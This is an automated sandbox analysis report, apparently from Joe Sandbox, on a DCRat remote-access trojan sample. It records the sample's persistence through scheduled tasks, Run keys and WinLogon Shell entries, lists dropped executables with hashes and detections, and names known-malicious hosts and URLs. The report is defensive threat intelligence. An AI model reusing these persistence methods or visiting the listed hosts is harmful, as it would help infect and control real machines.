Execution Graph export aborted for target 01YP9Lwum8.exe, PID 9276 because it is empty
Execution Graph export aborted for target 01YP9Lwum8.exe, PID 9608 because it is empty
Execution Graph export aborted for target IMiOGCAyeLWFuBBcn.exe, PID 5296 because it is empty
Execution Graph export aborted for target IMiOGCAyeLWFuBBcn.exe, PID 560 because it is empty
Execution Graph export aborted for target IMiOGCAyeLWFuBBcn.exe, PID 764 because it is empty
Execution Graph export aborted for target IMiOGCAyeLWFuBBcn.exe, PID 8596 because it is empty
Execution Graph export aborted for target IMiOGCAyeLWFuBBcn.exe, PID 9412 because it is empty
Execution Graph export aborted for target IMiOGCAyeLWFuBBcn.exe, PID 9460 because it is empty
Execution Graph export aborted for target explorer.exe, PID 8312 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
00:07:10	API Interceptor	383x Sleep call for process: powershell.exe modified
00:08:17	API Interceptor	1x Sleep call for process: explorer.exe modified
05:07:01	Task Scheduler	Run new task: IMiOGCAyeLWFuBBcn path: "C:\Users\Default User\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe"
05:07:01	Task Scheduler	Run new task: IMiOGCAyeLWFuBBcnI path: "C:\Users\Default User\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe"
05:07:03	Task Scheduler	Run new task: 01YP9Lwum8 path: "C:\Users\user\Desktop\01YP9Lwum8.exe"
05:07:04	Task Scheduler	Run new task: 01YP9Lwum80 path: "C:\Users\user\Desktop\01YP9Lwum8.exe"
05:07:05	Task Scheduler	Run new task: explorer path: "C:\Windows\Tasks\explorer.exe"
05:07:05	Task Scheduler	Run new task: explorere path: "C:\Windows\Tasks\explorer.exe"
05:07:05	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run IMiOGCAyeLWFuBBcn "C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe"
05:07:18	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run explorer "C:\Windows\Tasks\explorer.exe"
05:07:29	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 01YP9Lwum8 "C:\Users\user\Desktop\01YP9Lwum8.exe"
05:07:38	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run IMiOGCAyeLWFuBBcn "C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe"
05:07:46	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run explorer "C:\Windows\Tasks\explorer.exe"
05:07:54	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 01YP9Lwum8 "C:\Users\user\Desktop\01YP9Lwum8.exe"
05:08:02	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run IMiOGCAyeLWFuBBcn "C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe"
05:08:10	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run explorer "C:\Windows\Tasks\explorer.exe"
05:08:19	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run 01YP9Lwum8 "C:\Users\user\Desktop\01YP9Lwum8.exe"
05:08:35	Autostart	Run: WinLogon Shell "C:\Users\Default User\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe"
05:08:43	Autostart	Run: WinLogon Shell "C:\Program Files (x86)\windows sidebar\Gadgets\IMiOGCAyeLWFuBBcn.exe"
05:08:52	Autostart	Run: WinLogon Shell "C:\Program Files (x86)\common files\DESIGNER\IMiOGCAyeLWFuBBcn.exe"
05:09:01	Autostart	Run: WinLogon Shell "C:\Windows\Tasks\explorer.exe"
05:09:09	Autostart	Run: WinLogon Shell "C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe"
05:09:18	Autostart	Run: WinLogon Shell "C:\Users\user\Desktop\01YP9Lwum8.exe"

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.97.3	PO-000041522.exe	Get hash	malicious	FormBook	Browse	www.freedietbuilder.online/nnla/
	http://onlinecheapflights.net/	Get hash	malicious	Unknown	Browse	onlinecheapflights.net/
	Technical Datasheet and Specification_PDF.exe	Get hash	malicious	Unknown	Browse	www.rihanaroly.sbs/othk/?0dk=RykyQ3QZ+r1dqZwhAQupYMuQy26h2PYi8Fyfl3RAfHSVFgYOfXbCDUNV+aNHe22U393WzLygMMdANTa+vksg1hx1LENxGTGsZa2bATkiGgfiS6KvHA==&urk=NXuT
	request-BPp -RFQ 0975432.exe	Get hash	malicious	PureLog Stealer	Browse	www.ergeneescortg.xyz/guou/
	Halkbank_Ekstre_20230426_075819_154055.exe	Get hash	malicious	FormBook	Browse	www.thetahostthe.top/9r5x/
	http://comodozeropoint.com/updates/1736162964/N1/Team.exe	Get hash	malicious	Unknown	Browse	comodozeropoint.com/updates/1736162964/N1/Team.exe
	SecuriteInfo.com.Win32.MalwareX-gen.14607.6011.exe	Get hash	malicious	Unknown	Browse	servicetelemetryserver.shop/api/index.php
	SecuriteInfo.com.Trojan.DownLoader47.45523.5497.16574.exe	Get hash	malicious	Unknown	Browse	servicetelemetryserver.shop/api/index.php
	SecuriteInfo.com.Trojan.DownLoader47.45523.5497.16574.exe	Get hash	malicious	Unknown	Browse	servicetelemetryserver.shop/api/index.php
	ZP4KZDHVHWZZ2DC13DMX.exe	Get hash	malicious	Amadey	Browse	tipinfodownload-soft1.com/g9jvjfd73/index.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	WBPWLAj09q.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	8.46.4.155
	Bill Of Lading_MEDUVB935991.pdf.exe	Get hash	malicious	FormBook	Browse	104.21.78.104
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8
	https://t.co/yXelyYqHRk	Get hash	malicious	Unknown	Browse	172.66.0.227
	https://linkednnn.weebly.com/	Get hash	malicious	Unknown	Browse	104.18.86.42
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8
	Adeleidae.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	1.1.1.1
	https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	1.1.1.1

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\Desktop\FQJMKusv.log	wYP4G1XOF1.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	w49A5FG3yg.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	9XHFe6y4Dj.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	12Vjq7Yv2E.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	7WyBcig6e3.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	XyvebZw6qd.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	A5jfl43XHt.exe	Get hash	malicious	DCRat, PureLog Stealer, Xmrig, zgRAT	Browse
	QDJA9geR12.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	zygWTMeQC2.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	vOG22UGT3M.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse

Created / dropped Files

C:\Program Files (x86)\Common Files\DESIGNER\4d1a182ec818fb

Download File

Process:	C:\Users\user\Desktop\01YP9Lwum8.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	293
Entropy (8bit):	5.84421148600361
Encrypted:	false
SSDEEP:	6:LmV4R5cKULJWXCNrUrv2VPGORX6zPX9GI08uH0P2KEPRqPLXpg8S:Ld5kUv/2X6zPXHIUPzEyg8S
MD5:	52D01ADB05DC2F3DD648599FDCD4774F
SHA1:	7CA3D1E3BB578044C9EF9E5610DC308E30D9521E
SHA-256:	D36715A178165E45C56C955DD3E079762089F5BD9B30C2E374C662FA4E18C2DD
SHA-512:	186A799840BF44CDD40B085D734F4BEB3F5A262B81D4FB278F987EDB879C41D0196C99B7AD7106C2A7FAD5FEC73DA8C9319D7DE4C02FD87FBE54902B25D8C49B
Malicious:	false
Preview:	oPad5UyQRqlEkGQDdxO8s4uMd4lKkdo08FHw5qkR73SkEsD7gUDQ7GiufO9BtnqyCuFe8dHxN6AzlJHv1noPaX32gWRrqjiUNehTni8CNPCAFtJVGOKF8aYo1N8mMZHoYqlGmyISomBKV2xwM6lbYcWwG3cZkW0xIYmZICtSG1bWYNT8aLaPypP6UyAsWssSwOC6QXoJNTVhBAX3jd9Z6k9dJqFTCA5YJIjKKXrCgQCfTr4TaHJ2sSWMOjwkSUHNX6X2aNsMv72phdJbvv340Dq0wX6lkHtLIzIXU

C:\Program Files (x86)\Common Files\DESIGNER\IMiOGCAyeLWFuBBcn.exe

Download File

Process:	C:\Users\user\Desktop\01YP9Lwum8.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	878080
Entropy (8bit):	5.418522174321887
Encrypted:	false
SSDEEP:	12288:JWTnfLcX02i56n+XomvfJJMA+ApW3Ari4VVyZC0+1cw2jINofMVbmsaxZ6:JWTnZ20XomvhJMA+A3iE0nHp6
MD5:	31C3F45B0054B2592DFBE98CC2B2AE6F
SHA1:	B3B09B956A490A2558FFD7A5BD75CAD36198AD85
SHA-256:	D0FD0BF712A82CFF8A13381300B480C0F792F94E846F729EA787FA901FFE1805
SHA-512:	737FACE1E81289120AECB19E64073C6C8BB4BD4EFCBE4277A6A567E504267C9F82783973B55E08B1C9007521DA7256C8494234EB5C57290ED71FBA01C6BB5656
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Program Files (x86)\Common Files\DESIGNER\IMiOGCAyeLWFuBBcn.exe, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Program Files (x86)\Common Files\DESIGNER\IMiOGCAyeLWFuBBcn.exe, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Program Files (x86)\Common Files\DESIGNER\IMiOGCAyeLWFuBBcn.exe, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Program Files (x86)\Common Files\DESIGNER\IMiOGCAyeLWFuBBcn.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 74%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......g.................^...........\|... ........@.. ....................................@..................................{..O....... ............................................................................ ............... ..H............text....\... ...^.................. ..`.rsrc... ............`..............@..@.reloc...............d..............@..B.................{......H.......X...d.......v...................................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\Program Files (x86)\Common Files\DESIGNER\IMiOGCAyeLWFuBBcn.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\01YP9Lwum8.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Program Files (x86)\Windows Sidebar\Gadgets\4d1a182ec818fb

Download File

Process:	C:\Users\user\Desktop\01YP9Lwum8.exe
File Type:	ASCII text, with very long lines (752), with no line terminators
Category:	dropped
Size (bytes):	752
Entropy (8bit):	5.900280980357716
Encrypted:	false
SSDEEP:	12:kRp9QiCEy4rfsuaoPSQ97vtmCcV9DwMq4bAxy2qnoWOmpRwE5gRLXTYjRmQTeKXH:wXQl4Iu3PSi7FmtzDwMq+3LlRn5g5D0R
MD5:	F28692B16BC69EF4F88FED702B64BC4D
SHA1:	59138A03A3BE72CBBC38D396458848269FBF398C
SHA-256:	928E84C0D1CC7C71D095A2CB6527A9CAD5AFBC53563184487F41807A4D992A32
SHA-512:	AE93A61E9F237C9617994152E99A3E7AAA0A373A2E340F4951C9E522D2C937E3682B305017B6A7CA9818BFF166C4694246F3AF78D12BDCD75181D56006B69D1B
Malicious:	false
Preview:	ZqovaVzhbNWTQhGDQHloOrhrVwHs1pf355aFsKKPRMu5dyGw606RVdgsJ7ZoNGpvrcYUGBUF6WWC6mOgpUwBtOicZs6vvgBLg9NAavq5f0U8Gewgs383UoBc455XEjUaVLf6YNG3n1f23jV55ZC1hH027uGe0S06f4n58zIfwEPcIJjVk9cphd2NUn9nHmDUBjX85Z7GRhFc1YtyLv410LYCCalU0eXKB5bjwkZKCVX9XZV64LbWrLd0KU6fymPxJ4a67KClVuyexZonEpapCBc0bkYbo4VZGk0c8Y8uI0A7W8CvpSaJMkuHbkfWvk6bYZYNiMoqqqgLBfdcinwVeMMfzsAX3m8i3ii7kzMdotcgDjG6HCyIyl7MN2X0LRxDr7Rd6g2saSrutpcQmEQ0y0uSkWtrcWSX6ZzFRnAlKGrf4NdhaHNGA6P0N92kwLQDAUxT0W89EpqsJOYX3MQUJLWAJ82RuZy9znfjaJrEIOCVQhr8lfrk454y7xK1dqOo0r2fty7tfML4JAumR3qPsOE4trmm9zkc9XfioMPxi7Est9o6DhkjA95lm7vCLUuplt4vfL8Eo2rvJWKtCpjbPAbAc36qbMlNMZGAF3b1jf5HRJbQxBAguSZkS4TmPRncRdjuPKoIOr2tFTsScp3ZMEd39frLjymR2c0ykrAmX1SCaqf8LBKjYOPM9putcdiZEl1md4ruoQBUwadTAt9ioD3oNoy47QJ3S37zz2eRTZ4HM4Zi

C:\Program Files (x86)\Windows Sidebar\Gadgets\IMiOGCAyeLWFuBBcn.exe

Download File

Process:	C:\Users\user\Desktop\01YP9Lwum8.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	878080
Entropy (8bit):	5.418522174321887
Encrypted:	false
SSDEEP:	12288:JWTnfLcX02i56n+XomvfJJMA+ApW3Ari4VVyZC0+1cw2jINofMVbmsaxZ6:JWTnZ20XomvhJMA+A3iE0nHp6
MD5:	31C3F45B0054B2592DFBE98CC2B2AE6F
SHA1:	B3B09B956A490A2558FFD7A5BD75CAD36198AD85
SHA-256:	D0FD0BF712A82CFF8A13381300B480C0F792F94E846F729EA787FA901FFE1805
SHA-512:	737FACE1E81289120AECB19E64073C6C8BB4BD4EFCBE4277A6A567E504267C9F82783973B55E08B1C9007521DA7256C8494234EB5C57290ED71FBA01C6BB5656
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 74%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......g.................^...........\|... ........@.. ....................................@..................................{..O....... ............................................................................ ............... ..H............text....\... ...^.................. ..`.rsrc... ............`..............@..@.reloc...............d..............@..B.................{......H.......X...d.......v...................................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\Program Files (x86)\Windows Sidebar\Gadgets\IMiOGCAyeLWFuBBcn.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\01YP9Lwum8.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\Default\AppData\Roaming\4d1a182ec818fb

Download File

Process:	C:\Users\user\Desktop\01YP9Lwum8.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	36
Entropy (8bit):	4.503258334775644
Encrypted:	false
SSDEEP:	3:yp/eWBIc/zHXC7sF:ynKc+c
MD5:	6E68C94B8B347D33FEF11691B8744BC3
SHA1:	EB34BF275F5CB4211BFCCD2FA755B45E0B17B313
SHA-256:	3AD49B99D9B9584EED701B8B8A605293770AAA73B141C4EE34F4CCF515827E71
SHA-512:	31A79F7F87FBCE8CE4D1899B82E2CC6D8BBA59E0B8EDEA0223231E91B54F06750AA7F9B0FF3E62E75F6B38BFA097B30FEA715356A3FBBE458C487527EAE955CE
Malicious:	false
Preview:	rMZzFxxXGIC3doeIPsPPIwbSOPrghaZSI5Hm

C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe

Download File

Process:	C:\Users\user\Desktop\01YP9Lwum8.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	878080
Entropy (8bit):	5.418522174321887
Encrypted:	false
SSDEEP:	12288:JWTnfLcX02i56n+XomvfJJMA+ApW3Ari4VVyZC0+1cw2jINofMVbmsaxZ6:JWTnZ20XomvhJMA+A3iE0nHp6
MD5:	31C3F45B0054B2592DFBE98CC2B2AE6F
SHA1:	B3B09B956A490A2558FFD7A5BD75CAD36198AD85
SHA-256:	D0FD0BF712A82CFF8A13381300B480C0F792F94E846F729EA787FA901FFE1805
SHA-512:	737FACE1E81289120AECB19E64073C6C8BB4BD4EFCBE4277A6A567E504267C9F82783973B55E08B1C9007521DA7256C8494234EB5C57290ED71FBA01C6BB5656
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 74%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......g.................^...........\|... ........@.. ....................................@..................................{..O....... ............................................................................ ............... ..H............text....\... ...^.................. ..`.rsrc... ............`..............@..@.reloc...............d..............@..B.................{......H.......X...d.......v...................................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\01YP9Lwum8.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\01YP9Lwum8.exe.log

Download File

Process:	C:\Users\user\Desktop\01YP9Lwum8.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1830
Entropy (8bit):	5.3661116947161815
Encrypted:	false
SSDEEP:	48:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhAHKKkrJHmHKlT4vHNpv:iq+wmj0qCYqGSI6oPtzHeqKktGqZ4vtd
MD5:	4E98592551BD0B069F525D5145C4AB1D
SHA1:	F76B60DC100FAB739EB836650B112348ED7B9B97
SHA-256:	171B3D8F6F3559D645DECCA2C9B750EBFD5511B6742C0157C60F46EAD6CC4F5E
SHA-512:	E5C520597C414A3F73AF0C4F2E2A61CE594D8CEC7FF103D94CCAEA905E0D5F6AF32CFAB40026865AE86172904F927B928663C9FA4B0EBD397CC450BF124A318D
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\IMiOGCAyeLWFuBBcn.exe.log

Download File

Process:	C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1281
Entropy (8bit):	5.370111951859942
Encrypted:	false
SSDEEP:	24:ML9E4KQ71qE4GIs0E4KCKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhA2
MD5:	12C61586CD59AA6F2A21DF30501F71BD
SHA1:	E6B279DC134544867C868E3FF3C267A06CE340C7
SHA-256:	EC20A856DBBCF320F7F24C823D6E9D2FD10E9335F5DE2F56AB9A7DF1ED358543
SHA-512:	B0731F59C74C9D25A4C82E166B3DC300BBCF89F6969918EC748B867C641ED0D8E0DE81AAC68209EF140219861B4939F1B07D0885ACA112D494D23AAF9A9C03FE
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\explorer.exe.log

Download File

Process:	C:\Windows\Tasks\explorer.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1281
Entropy (8bit):	5.370111951859942
Encrypted:	false
SSDEEP:	24:ML9E4KQ71qE4GIs0E4KCKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhA2
MD5:	12C61586CD59AA6F2A21DF30501F71BD
SHA1:	E6B279DC134544867C868E3FF3C267A06CE340C7
SHA-256:	EC20A856DBBCF320F7F24C823D6E9D2FD10E9335F5DE2F56AB9A7DF1ED358543
SHA-512:	B0731F59C74C9D25A4C82E166B3DC300BBCF89F6969918EC748B867C641ED0D8E0DE81AAC68209EF140219861B4939F1B07D0885ACA112D494D23AAF9A9C03FE
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	19253
Entropy (8bit):	5.005753878328145
Encrypted:	false
SSDEEP:	384:hrib4ZmVoGIpN6KQkj2Fkjh4iUxDhQIeQo+OdBANXp5yvOjJlYoaYpib47:hLmV3IpNBQkj2Uh4iUxDhiQo+OdBANZD
MD5:	81D32E8AE893770C4DEA5135D1D8E78D
SHA1:	CA54EF62836AEEAEDC9F16FF80FD2950B53FBA0D
SHA-256:	6A8BCF8BC8383C0DCF9AECA9948D91FD622458ECF7AF745858D0B07EFA9DCF89
SHA-512:	FDF4BE11A2FC7837E03FBEFECCDD32E554950E8DF3F89E441C1A7B1BC7D8DA421CEA06ED3E2DE90DDC9DA3E60166BA8C2262AFF30C3A7FFDE953BA17AE48BF9A
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulnmWllZ:NllUmWl
MD5:	3EBBEC2F920D055DAC842B4FF84448FA
SHA1:	52D2AD86C481FAED6187FC7E6655C5BD646CA663
SHA-256:	32441EEF46369E90F192889F3CC91721ECF615B0395CEC99996AB8CF06C59D09
SHA-512:	163F2BECB9695851B36E3F502FA812BFBF6B88E4DCEA330A03995282E2C848A7DE6B9FDBA740E3DF536AB65390FBE3CC5F41F91505603945C0C79676B48EE5C3
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\FfDOv2d6gz.bat

Download File

Process:	C:\Windows\Tasks\explorer.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
